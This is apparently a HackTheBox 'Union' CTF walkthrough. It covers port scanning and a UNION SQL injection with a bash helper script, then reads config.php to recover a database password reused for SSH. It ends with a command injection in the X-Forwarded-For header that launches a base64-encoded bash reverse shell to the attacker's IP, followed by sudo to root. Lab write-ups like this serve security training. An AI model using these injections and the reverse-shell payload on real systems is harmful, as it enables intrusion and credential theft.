HackTheBox Union Writeup
Explore the fundamentals of cybersecurity in the Union Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.10.128 union.htb
Script to add hosts automatically#
ip="10.10.10.128"
domain="union.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV 10.10.11.128
Nmap scan report for 10.10.11.128
Host is up (0.049s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Exploration#
Access the target URL:
http://10.10.11.128/
Use ffuf to discover endpoints:
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php -fs 1220
Found Endpoints:#
css: Status 301, Size 178firewall.php: Status 200, Size 13config.php: Status 200, Size 0challenge.php: Status 200, Size 772
Union SQL Injection#
Union SQL Injection allows combining results from multiple SELECT statements. More information can be found here.
Testing Input#
Testing the player parameter with curl shows normal inputs don’t work, but UNION SQL injections targeting a single column do:
curl http://10.10.11.128/index.php -d "player=' union select database() -- -"
Response:
Sorry, november, you are not eligible due to already qualifying.
Extracting Data#
Use this simple script to perform sql querries:
#!/bin/bash
POST_URL="http://10.10.11.128/index.php"
POST_DATA="player=' union %s -- -"
PATTERN="Sorry, (.*) you are not eligible due to already qualifying."
function send_post {
local sqli=$1
response=$(curl -s -d "$(printf "$POST_DATA" "$sqli")" "$POST_URL")
if [[ $response == Sorry* ]]; then
if [[ $response =~ $PATTERN ]]; then
echo "${match[1]}"
else
echo "No match found in response."
fi
else
echo "ERROR"
fi
}
while true; do
echo -n "SQLi> "
read sqli
if [[ $sqli == "exit" ]]; then
break
elif [[ -z $sqli ]]; then
continue
fi
send_post "$sqli"
done
SQL Queries:#
Get the database name:
SELECT database();Output:
novemberList tables:
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'november';Output:
flag, playersList columns in
flagtable:SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag';Output:
oneRetrieve the flag:
SELECT one FROM flag;
Access http://10.10.11.128/challenge.php and enter the flag to open port 22 to your ip.
- Load configuration file:
SELECT LOAD_FILE('/var/www/html/config.php');
Contents of config.php:
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
SSH Access:
ssh uhc@10.10.11.128
Retrieve the user flag:
cat user.txt
On the SSH machine, inspect the firewall.php file:
cat /var/www/html/firewall.php
The script uses sudo to execute a system command, indicating that the www-data user may have elevated permissions. The $ip variable is vulnerable to command injection due to its direct concatenation in the command. This can be exploited by modifying the X-Forwarded-For HTTP request header and appending a command using a semicolon (;) or a comment (#).
Set up a listener for incoming connections with:
nc -lvnp 9001
echo -en "PHPSESSID Coockie? "
read coockie
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl 10.10.11.128/firewall.php -H "X-Forwarded-For: ; echo $(echo -n 'bash -i >& /dev/tcp/'$ip'/9001 0>&1' | base64 ) | base64 -d | bash ;" -H 'Cookie: PHPSESSID='$coockie''
sudo -l
sudo su
cat /root/root.txt